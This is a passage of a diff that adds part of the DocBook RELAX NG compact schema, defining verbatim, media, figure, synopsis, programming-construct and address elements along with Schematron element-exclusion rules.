{ text } + db.literallayout.class.enumeration = + + ## The literal layout should be formatted with a monospaced font + "monospaced" + | + ## The literal layout should be formatted with the current font + "normal" + db.literallayout.class.attribute = + + ## Specifies the class of literal layout + attribute class { db.literallayout.class.enumeration } + db.literallayout.attlist = + db.literallayout.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.literallayout.class.attribute? + db.literallayout = + + ## A block of text in which line breaks and white space are to be reproduced faithfully + element literallayout { + db.literallayout.attlist, db.verbatim.contentmodel + } +} +div { + db.screen.role.attribute = attribute role { text } + db.screen.width.attribute = db.width.characters.attribute + db.screen.attlist = + db.screen.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.screen.width.attribute? + db.screen = + + ## Text that a user sees or might see on a computer screen + element screen { db.screen.attlist, db.verbatim.contentmodel } +} +div { + db.screenshot.role.attribute = attribute role { text } + db.screenshot.attlist = + db.screenshot.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.screenshot.info = db._info + db.screenshot = + + ## A representation of what the user sees or might see on a computer screen + element screenshot { + db.screenshot.attlist, db.screenshot.info, db.mediaobject + } +} +div { + db.figure.role.attribute = attribute role { text } + db.figure.label.attribute = db.label.attribute + db.figure.pgwide.attribute = db.pgwide.attribute + db.figure.floatstyle.attribute = db.floatstyle.attribute + db.figure.attlist = + db.figure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.figure.label.attribute? + & db.figure.pgwide.attribute? + & db.figure.floatstyle.attribute? + db.figure.info = db._info.title.onlyreq + db.figure = + + ## A formal figure, generally an illustration, with a title + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element figure { + db.figure.attlist, db.figure.info, db.all.blocks+, db.caption? + } +} +div { + db.informalfigure.role.attribute = attribute role { text } + db.informalfigure.label.attribute = db.label.attribute + db.informalfigure.pgwide.attribute = db.pgwide.attribute + db.informalfigure.floatstyle.attribute = db.floatstyle.attribute + db.informalfigure.attlist = + db.informalfigure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.informalfigure.label.attribute? + & db.informalfigure.pgwide.attribute? + & db.informalfigure.floatstyle.attribute? + db.informalfigure.info = db._info.title.forbidden + db.informalfigure = + + ## A untitled figure + element informalfigure { + db.informalfigure.attlist, + db.informalfigure.info, + db.all.blocks+, + db.caption? + } +} +db.mediaobject.content = + (db.videoobject | db.audioobject | db.imageobject | db.textobject) + | db.imageobjectco +div { + db.mediaobject.role.attribute = attribute role { text } + db.mediaobject.attlist = + db.mediaobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mediaobject.info = db._info.title.forbidden + db.mediaobject = + + ## A displayed media object (video, audio, image, etc.) + element mediaobject { + db.mediaobject.attlist, + db.mediaobject.info, + db.alt?, + db.mediaobject.content+, + db.caption? + } +} +div { + db.inlinemediaobject.role.attribute = attribute role { text } + db.inlinemediaobject.attlist = + db.inlinemediaobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.inlinemediaobject.info = db._info.title.forbidden + db.inlinemediaobject = + + ## An inline media object (video, audio, image, and so on) + element inlinemediaobject { + db.inlinemediaobject.attlist, + db.inlinemediaobject.info, + db.alt?, + db.mediaobject.content+ + } +} +div { + db.videoobject.role.attribute = attribute role { text } + db.videoobject.attlist = + db.videoobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.videoobject.info = db._info.title.forbidden + db.videoobject = + + ## A wrapper for video data and its associated meta-information + element videoobject { + db.videoobject.attlist, db.videoobject.info, db.videodata + } +} +div { + db.audioobject.role.attribute = attribute role { text } + db.audioobject.attlist = + db.audioobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.audioobject.info = db._info.title.forbidden + db.audioobject = + + ## A wrapper for audio data and its associated meta-information + element audioobject { + db.audioobject.attlist, db.audioobject.info, db.audiodata + } +} +db.imageobject.content = db.imagedata | db._any.svg+ +div { + db.imageobject.role.attribute = attribute role { text } + db.imageobject.attlist = + db.imageobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.imageobject.info = db._info.title.forbidden + db.imageobject = + + ## A wrapper for image data and its associated meta-information + element imageobject { + db.imageobject.attlist, + db.imageobject.info, + db.imageobject.content + } +} +div { + db.textobject.role.attribute = attribute role { text } + db.textobject.attlist = + db.textobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.textobject.info = db._info.title.forbidden + db.textobject = + + ## A wrapper for a text description of an object and its associated meta-information + element textobject { + db.textobject.attlist, + db.textobject.info, + (db.phrase | db.textdata | db.all.blocks+) + } +} +div { + db.videodata.role.attribute = attribute role { text } + db.videodata.align.enumeration = db.halign.enumeration + db.videodata.align.attribute = + + ## Specifies the (horizontal) alignment of the video data + attribute align { db.videodata.align.enumeration } + db.videodata.valign.enumeration = db.valign.enumeration + db.videodata.valign.attribute = + + ## Specifies the vertical alignment of the video data + attribute valign { db.videodata.valign.enumeration } + db.videodata.width.attribute = db.width.attribute + db.videodata.depth.attribute = db.depth.attribute + db.videodata.contentwidth.attribute = db.contentwidth.attribute + db.videodata.contentdepth.attribute = db.contentdepth.attribute + db.videodata.scalefit.enumeration = db.scalefit.enumeration + db.videodata.scalefit.attribute = + + ## Determines if anamorphic scaling is forbidden + attribute scalefit { db.videodata.scalefit.enumeration } + db.videodata.scale.attribute = db.scale.attribute + db.videodata.attlist = + db.videodata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.videodata.align.attribute? + & db.videodata.valign.attribute? + & db.videodata.width.attribute? + & db.videodata.contentwidth.attribute? + & db.videodata.scalefit.attribute? + & db.videodata.scale.attribute? + & db.videodata.depth.attribute? + & db.videodata.contentdepth.attribute? + db.videodata.info = db._info.title.forbidden + db.videodata = + + ## Pointer to external video data + element videodata { db.videodata.attlist, db.videodata.info } +} +div { + db.audiodata.role.attribute = attribute role { text } + db.audiodata.attlist = + db.audiodata.role.attribute? + & db.common.attributes + & db.common.data.attributes + db.audiodata.info = db._info.title.forbidden + db.audiodata = + + ## Pointer to external audio data + element audiodata { db.audiodata.attlist, db.audiodata.info } +} +div { + db.imagedata.role.attribute = attribute role { text } + db.imagedata.align.enumeration = db.halign.enumeration + db.imagedata.align.attribute = + + ## Specifies the (horizontal) alignment of the image data + attribute align { db.imagedata.align.enumeration } + db.imagedata.valign.enumeration = db.valign.enumeration + db.imagedata.valign.attribute = + + ## Specifies the vertical alignment of the image data + attribute valign { db.imagedata.valign.enumeration } + db.imagedata.width.attribute = db.width.attribute + db.imagedata.depth.attribute = db.depth.attribute + db.imagedata.contentwidth.attribute = db.contentwidth.attribute + db.imagedata.contentdepth.attribute = db.contentdepth.attribute + db.imagedata.scalefit.enumeration = db.scalefit.enumeration + db.imagedata.scalefit.attribute = + + ## Determines if anamorphic scaling is forbidden + attribute scalefit { db.imagedata.scalefit.enumeration } + db.imagedata.scale.attribute = db.scale.attribute + db.imagedata.attlist = + db.imagedata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.imagedata.align.attribute? + & db.imagedata.valign.attribute? + & db.imagedata.width.attribute? + & db.imagedata.contentwidth.attribute? + & db.imagedata.scalefit.attribute? + & db.imagedata.scale.attribute? + & db.imagedata.depth.attribute? + & db.imagedata.contentdepth.attribute? + db.imagedata.info = db._info.title.forbidden + db.imagedata = + + ## Pointer to external image data + element imagedata { db.imagedata.attlist, db.imagedata.info } +} +div { + db.textdata.role.attribute = attribute role { text } + db.textdata.encoding.attribute = + + ## Identifies the encoding of the text in the external file + attribute encoding { text } + db.textdata.attlist = + db.textdata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.textdata.encoding.attribute? + db.textdata.info = db._info.title.forbidden + db.textdata = + + ## Pointer to external text data + element textdata { db.textdata.attlist, db.textdata.info } +} +div { + db.caption.role.attribute = attribute role { text } + db.caption.attlist = + db.caption.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.caption.info = db._info.title.forbidden + db.caption = + + ## A caption + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caption { + db.caption.attlist, db.caption.info, db.all.blocks+ + } +} +div { + db.synopsis.role.attribute = attribute role { text } + db.synopsis.label.attribute = db.label.attribute + db.synopsis.attlist = + db.synopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.synopsis.label.attribute? + db.synopsis = + + ## A general-purpose element for representing the syntax of commands or functions + element synopsis { db.synopsis.attlist, db.verbatim.contentmodel } +} +div { + db.cmdsynopsis.role.attribute = attribute role { text } + db.cmdsynopsis.sepchar.attribute = + + ## Specifies the character that should separate the command and its top-level arguments + attribute sepchar { text } + db.cmdsynopsis.cmdlength.attribute = + + ## Indicates the displayed length of the command; this information may be used to intelligently indent command synopses which extend beyond one line + attribute cmdlength { text } + db.cmdsynopsis.label.attribute = db.label.attribute + db.cmdsynopsis.attlist = + db.cmdsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.cmdsynopsis.sepchar.attribute? + & db.cmdsynopsis.cmdlength.attribute? + & db.cmdsynopsis.label.attribute? + db.cmdsynopsis.info = db._info.title.forbidden + db.cmdsynopsis = + + ## A syntax summary for a software command + element cmdsynopsis { + db.cmdsynopsis.attlist, + db.cmdsynopsis.info, + (db.command | db.arg | db.group | db.sbr)+, + db.synopfragment* + } +} +db.rep.enumeration = + + ## Can not be repeated. + "norepeat" + | + ## Can be repeated. + "repeat" +db.rep.attribute = + + ## Indicates whether or not repetition is possible. + [ a:defaultValue = "norepeat" ] attribute rep { db.rep.enumeration } +db.choice.enumeration = + + ## Formatted to indicate that it is optional. + "opt" + | + ## Formatted without indication. + "plain" + | + ## Formatted to indicate that it is required. + "req" +db.choice.opt.attribute = + + ## Indicates optionality. + [ a:defaultValue = "opt" ] attribute choice { db.choice.enumeration } +db.choice.req.attribute = + + ## Indicates optionality. + [ a:defaultValue = "req" ] attribute choice { db.choice.enumeration } +div { + db.arg.role.attribute = attribute role { text } + db.arg.rep.attribute = db.rep.attribute + db.arg.choice.attribute = db.choice.opt.attribute + db.arg.attlist = + db.arg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.arg.rep.attribute? + & db.arg.choice.attribute? + db.arg = + + ## An argument in a CmdSynopsis + element arg { + db.arg.attlist, + (db._text + | db.arg + | db.group + | db.option + | db.synopfragmentref + | db.sbr)* + } +} +div { + db.group.role.attribute = attribute role { text } + db.group.rep.attribute = db.rep.attribute + db.group.choice.attribute = db.choice.opt.attribute + db.group.attlist = + db.group.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.group.rep.attribute? + & db.group.choice.attribute? + db.group = + + ## A group of elements in a CmdSynopsis + element group { + db.group.attlist, + (db.arg + | db.group + | db.option + | db.synopfragmentref + | db.replaceable + | db.sbr)+ + } +} +div { + db.sbr.role.attribute = attribute role { text } + db.sbr.attlist = db.sbr.role.attribute? & db.common.attributes + db.sbr = + + ## An explicit line break in a command synopsis + element sbr { db.sbr.attlist, empty } +} +div { + db.synopfragment.role.attribute = attribute role { text } + db.synopfragment.attlist = + db.synopfragment.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.synopfragment = + + ## A portion of a CmdSynopsis broken out from the main body of the synopsis + element synopfragment { + db.synopfragment.attlist, (db.arg | db.group)+ + } +} +div { + db.synopfragmentref.role.attribute = attribute role { text } + db.synopfragmentref.attlist = + db.synopfragmentref.role.attribute? + & db.common.attributes + & db.linkend.attribute + db.synopfragmentref = + + ## A reference to a fragment of a command synopsis + [ + s:pattern [ + name = "Synopsis fragment type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:synopfragmentref" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'synopfragment' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on synopfragmentref must point to a synopfragment." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element synopfragmentref { db.synopfragmentref.attlist, text } +} +div { + db.funcsynopsis.role.attribute = attribute role { text } + db.funcsynopsis.attlist = + db.funcsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.funcsynopsis.info = db._info.title.forbidden + db.funcsynopsis = + + ## The syntax summary for a function definition + element funcsynopsis { + db.funcsynopsis.attlist, + db.funcsynopsis.info, + (db.funcsynopsisinfo | db.funcprototype)+ + } +} +div { + db.funcsynopsisinfo.role.attribute = attribute role { text } + db.funcsynopsisinfo.attlist = + db.funcsynopsisinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.funcsynopsisinfo = + + ## Information supplementing the FuncDefs of a FuncSynopsis + element funcsynopsisinfo { + db.funcsynopsisinfo.attlist, db.verbatim.contentmodel + } +} +div { + db.funcprototype.role.attribute = attribute role { text } + db.funcprototype.attlist = + db.funcprototype.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcprototype = + + ## The prototype of a function + element funcprototype { + db.funcprototype.attlist, + db.modifier*, + db.funcdef, + (db.void | db.varargs | (db.paramdef+, db.varargs?)), + db.modifier* + } +} +div { + db.funcdef.role.attribute = attribute role { text } + db.funcdef.attlist = + db.funcdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcdef = + + ## A function (subroutine) name and its return type + element funcdef { + db.funcdef.attlist, (db._text | db.type | db.function)* + } +} +div { + db.void.role.attribute = attribute role { text } + db.void.attlist = + db.void.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.void = + + ## An empty element in a function synopsis indicating that the function in question takes no arguments + element void { db.void.attlist, empty } +} +div { + db.varargs.role.attribute = attribute role { text } + db.varargs.attlist = + db.varargs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varargs = + + ## An empty element in a function synopsis indicating a variable number of arguments + element varargs { db.varargs.attlist, empty } +} +div { + db.paramdef.role.attribute = attribute role { text } + db.paramdef.choice.enumeration = + + ## Formatted to indicate that it is optional. + "opt" + | + ## Formatted to indicate that it is required. + "req" + db.paramdef.choice.attribute = + + ## Indicates optionality. + [ a:defaultValue = "opt" ] + attribute choice { db.paramdef.choice.enumeration } + db.paramdef.attlist = + db.paramdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.paramdef.choice.attribute? + db.paramdef = + + ## Information about a function parameter in a programming language + element paramdef { + db.paramdef.attlist, + (db._text + | db.initializer + | db.type + | db.parameter + | db.funcparams)* + } +} +div { + db.funcparams.role.attribute = attribute role { text } + db.funcparams.attlist = + db.funcparams.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcparams = + + ## Parameters for a function referenced through a function pointer in a synopsis + element funcparams { db.funcparams.attlist, db._text } +} +div { + db.classsynopsis.role.attribute = attribute role { text } + db.classsynopsis.class.enumeration = + + ## This is the synopsis of a class + "class" + | + ## This is the synopsis of an interface + "interface" + db.classsynopsis.class.attribute = + + ## Specifies the nature of the synopsis + attribute class { db.classsynopsis.class.enumeration } + db.classsynopsis.attlist = + db.classsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + & db.classsynopsis.class.attribute? + db.classsynopsis = + + ## The syntax summary for a class definition + element classsynopsis { + db.classsynopsis.attlist, + db.oo.inlines+, + (db.classsynopsisinfo + | db.methodsynopsis + | db.constructorsynopsis + | db.destructorsynopsis + | db.fieldsynopsis)* + } +} +div { + db.classsynopsisinfo.role.attribute = attribute role { text } + db.classsynopsisinfo.attlist = + db.classsynopsisinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.classsynopsisinfo = + + ## Information supplementing the contents of a ClassSynopsis + element classsynopsisinfo { + db.classsynopsisinfo.attlist, db.verbatim.contentmodel + } +} +div { + db.ooclass.role.attribute = attribute role { text } + db.ooclass.attlist = + db.ooclass.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ooclass = + + ## A class in an object-oriented programming language + element ooclass { + db.ooclass.attlist, (db.package | db.modifier)*, db.classname + } +} +div { + db.oointerface.role.attribute = attribute role { text } + db.oointerface.attlist = + db.oointerface.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.oointerface = + + ## An interface in an object-oriented programming language + element oointerface { + db.oointerface.attlist, + (db.package | db.modifier)*, + db.interfacename + } +} +div { + db.ooexception.role.attribute = attribute role { text } + db.ooexception.attlist = + db.ooexception.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ooexception = + + ## An exception in an object-oriented programming language + element ooexception { + db.ooexception.attlist, + (db.package | db.modifier)*, + db.exceptionname + } +} +div { + db.modifier.role.attribute = attribute role { text } + db.modifier.attlist = + db.modifier.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.modifier = + + ## Modifiers in a synopsis + element modifier { db.modifier.attlist, db._text } +} +div { + db.interfacename.role.attribute = attribute role { text } + db.interfacename.attlist = + db.interfacename.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.interfacename = + + ## The name of an interface + element interfacename { db.interfacename.attlist, db._text } +} +div { + db.exceptionname.role.attribute = attribute role { text } + db.exceptionname.attlist = + db.exceptionname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.exceptionname = + + ## The name of an exception + element exceptionname { db.exceptionname.attlist, db._text } +} +div { + db.fieldsynopsis.role.attribute = attribute role { text } + db.fieldsynopsis.attlist = + db.fieldsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.fieldsynopsis = + + ## The name of a field in a class definition + element fieldsynopsis { + db.fieldsynopsis.attlist, + db.modifier*, + db.type?, + db.varname, + db.initializer? + } +} +div { + db.initializer.role.attribute = attribute role { text } + db.initializer.attlist = + db.initializer.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.initializer = + + ## The initializer for a FieldSynopsis + element initializer { db.initializer.attlist, db._text } +} +div { + db.constructorsynopsis.role.attribute = attribute role { text } + db.constructorsynopsis.attlist = + db.constructorsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.constructorsynopsis = + + ## A syntax summary for a constructor + element constructorsynopsis { + db.constructorsynopsis.attlist, + db.modifier*, + db.methodname?, + (db.methodparam+ | db.void?), + db.exceptionname* + } +} +div { + db.destructorsynopsis.role.attribute = attribute role { text } + db.destructorsynopsis.attlist = + db.destructorsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.destructorsynopsis = + + ## A syntax summary for a destructor + element destructorsynopsis { + db.destructorsynopsis.attlist, + db.modifier*, + db.methodname?, + (db.methodparam+ | db.void?), + db.exceptionname* + } +} +div { + db.methodsynopsis.role.attribute = attribute role { text } + db.methodsynopsis.attlist = + db.methodsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.methodsynopsis = + + ## A syntax summary for a method + element methodsynopsis { + db.methodsynopsis.attlist, + db.modifier*, + (db.type | db.void)?, + db.methodname, + (db.methodparam+ | db.void), + db.exceptionname*, + db.modifier* + } +} +div { + db.methodname.role.attribute = attribute role { text } + db.methodname.attlist = + db.methodname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.methodname = + + ## The name of a method + element methodname { db.methodname.attlist, db._text } +} +div { + db.methodparam.role.attribute = attribute role { text } + db.methodparam.rep.attribute = db.rep.attribute + db.methodparam.choice.attribute = db.choice.req.attribute + db.methodparam.attlist = + db.methodparam.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.methodparam.rep.attribute? + & db.methodparam.choice.attribute? + db.methodparam = + + ## Parameters to a method + element methodparam { + db.methodparam.attlist, + db.modifier*, + db.type?, + ((db.parameter, db.initializer?) | db.funcparams), + db.modifier* + } +} +div { + db.address.role.attribute = attribute role { text } + db.address.attlist = + db.address.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.address = + + ## A real-world address, generally a postal address + element address { + db.address.attlist, + (db._text + | db.personname + | db.pob + | db.street + | db.city + | db.state + | db.postcode + | db.country + | db.phone + | db.fax + | db.email + | db.otheraddr)* + } +} +div { + db.street.role.attribute = attribute role { text } + db.street.attlist = + db.street.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.street = + + ## A street address in an address + element street { db.street.attlist, db._text } +} +div { + db.pob.role.attribute = attribute role { text } + db.pob.attlist = + db.pob.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pob = + + ## A post office box in an address + element pob { db.pob.attlist, db._text } +} +div { + db.postcode.role.attribute = attribute role { text } + db.postcode.attlist = + db.postcode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.postcode = + + ## A postal code in an address + element postcode { db.postcode.attlist, db._text } +} +div { + db.city.role.attribute = attribute role { text } + db.city.attlist = + db.city.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.city = + + ## The name of a city in an address + element city { db.city.attlist, db._text } +} +div { + db.state.role.attribute = attribute role { text } + db.state.attlist = + db.state.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.state = + + ## A state or province in an address + element state { db.state.attlist, db._text } +} +div { + db.country.role.attribute = attribute role { text } + db.country.attlist = + db.country.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.country = + + ## The name of a country + element country { db.country.attlist, db._text } +} +div { + db.phone.role.attribute = attribute role { text } + db.phone.attlist = + db.phone.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.phone = + + ## A telephone number + element phone { db.phone.attlist, db._text } +} +div { + db.fax.role.attribute = attribute role { text } + db.fax.attlist = + db.fax.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.fax = + + ## A fax number + element fax { db.fax.attlist, db._text } +} +div { + db.otheraddr.role.attribute = attribute role { text } + db.otheraddr.attlist = + db.otheraddr.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.otheraddr = + + ## Uncategorized information in address + element otheraddr { db.otheraddr.attlist, db._text } +} +div { + db.affiliation.role.attribute = attribute role { text } + db.affiliation.attlist = + db.affiliation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.affiliation = + + ## The institutional affiliation of an individual + element affiliation { + db.affiliation.attlist, + db.shortaffil?, + db.jobtitle*, + db.orgname?, + db.orgdiv*, + db.address* + } +} +div { + db.shortaffil.role.attribute = attribute role { text } + db.shortaffil.attlist = + db.shortaffil.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.shortaffil = + + ## A brief description of an affiliation + element shortaffil { db.shortaffil.attlist, db._text } +} +div { + db.jobtitle.role.attribute = attribute role { text } + db.jobtitle.attlist = + db.jobtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.jobtitle = + + ## The title of an individual in an organization + element jobtitle { db.jobtitle.attlist, db._text } +} +div { + db.orgname.class.enumeration = + + ## A consortium + "consortium" + | + ## A corporation + "corporation" + | + ## An informal organization + "informal" + | + ## A non-profit organization + "nonprofit" + db.orgname.class-enum.attribute = + + ## Specifies the nature of the organization + attribute class { db.orgname.class.enumeration } + db.orgname.class-other.attributes = + + ## Specifies the nature of the organization + attribute class { + + ## Indicates a non-standard organization class + "other" + }, + + ## Identifies the non-standard nature of the organization + attribute otherclass { text } + db.orgname.class.attribute = + db.orgname.class-enum.attribute | db.orgname.class-other.attributes + db.orgname.role.attribute = attribute role { text } + db.orgname.attlist = + db.orgname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.orgname.class.attribute? + db.orgname = + + ## The name of an organization other than a corporation + element orgname { db.orgname.attlist, db._text } +} +div { + db.orgdiv.role.attribute = attribute role { text } + db.orgdiv.attlist = + db.orgdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.orgdiv = + + ## A division of an organization + element orgdiv { db.orgdiv.attlist, db.all.inlines* } +} +div { + db.artpagenums.role.attribute = attribute role { text } + db.artpagenums.attlist = + db.artpagenums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.artpagenums = + + ## The page numbers of an article as published + element artpagenums { db.artpagenums.attlist, db._text } +} +div { + db.personname.role.attribute = attribute role { text } + db.personname.attlist = + db.personname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.personname = + + ## The personal name of an individual + element personname { + db.personname.attlist, + (db._text + | (db.honorific + | db.firstname + | db.surname + | db.lineage + | db.othername)+) + } +} +db.person.author.contentmodel = + db.personname, + (db.personblurb + | db.affiliation + | db.email + | db.address + | db.contrib)* +db.org.author.contentmodel = + db.orgname, + (db.orgdiv | db.affiliation | db.email | db.address | db.contrib)* +db.credit.contentmodel = + db.person.author.contentmodel | db.org.author.contentmodel 